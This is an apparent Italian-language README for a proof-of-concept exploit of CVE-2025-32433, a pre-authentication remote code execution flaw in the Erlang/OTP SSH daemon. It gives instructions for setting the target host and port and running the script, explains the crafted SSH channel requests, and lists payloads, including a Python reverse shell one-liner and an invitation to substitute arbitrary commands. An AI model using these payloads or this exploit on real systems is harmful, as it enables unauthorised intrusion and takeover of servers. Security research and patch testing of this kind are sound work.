CVE-2025-32433 – Vulnerabilità RCE in Erlang/OTP SSH

📌 Riepilogo

CVE-2025-32433 è una vulnerabilità di esecuzione remota di codice (RCE) che interessa il demone SSH di Erlang/OTP. La causa principale è la gestione non corretta delle richieste di canale SSH pre-autenticazione, che possono essere manipolate da un attaccante per provocare l'esecuzione arbitraria di comandi prima dell'autenticazione. Il PoC incluso dimostra l'invio di tali pacchetti SSH modificati; per impostazione predefinita scrive /lab.txt sul sistema target, ma può essere adattato per altri comandi.

⚠️ Avvertenza: Questo repository è solo a scopo educativo e di ricerca. Non utilizzarlo contro sistemi senza autorizzazione esplicita.

🛠️ Utilizzo

Modifica i dettagli del target nello script PoC:

HOST = "127.0.0.1"  # Target IP
PORT = 2222         # Target SSH port

Esegui l'exploit:

python3 cve-2025-32433.py

Per impostazione predefinita crea /lab.txt contenente pwned. Modifica il payload in build_channel_request per eseguire i tuoi comandi.

🧩 Esempi di Payload

# Write a file
file:write_file("/lab.txt", <<"pwned">>).
Spawn a reverse shell
os:cmd("python3 -c 'import socket,subprocess,os;
s=socket.socket(); s.connect(("127.0.0.1",2222));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'")

🔧 Come funziona il PoC (in breve)

Si connette al servizio SSH e scambia i banner.
Invia un SSH_MSG_KEXINIT modificato per simulare un handshake normale.
Invia SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST con un payload exec prima dell'autenticazione.
Se vulnerabile, il server esegue il comando Erlang fornito.

🙏 Crediti

Scoperta e analisi a cura di Matt Keeley (Platform Security). Grazie a lui per aver pubblicato il PoC e condiviso i dettagli.

Link al blog: https://platformsecurity.com/blog/CVE-2025-32433-poc

CVE-2025-32433

Più Popolari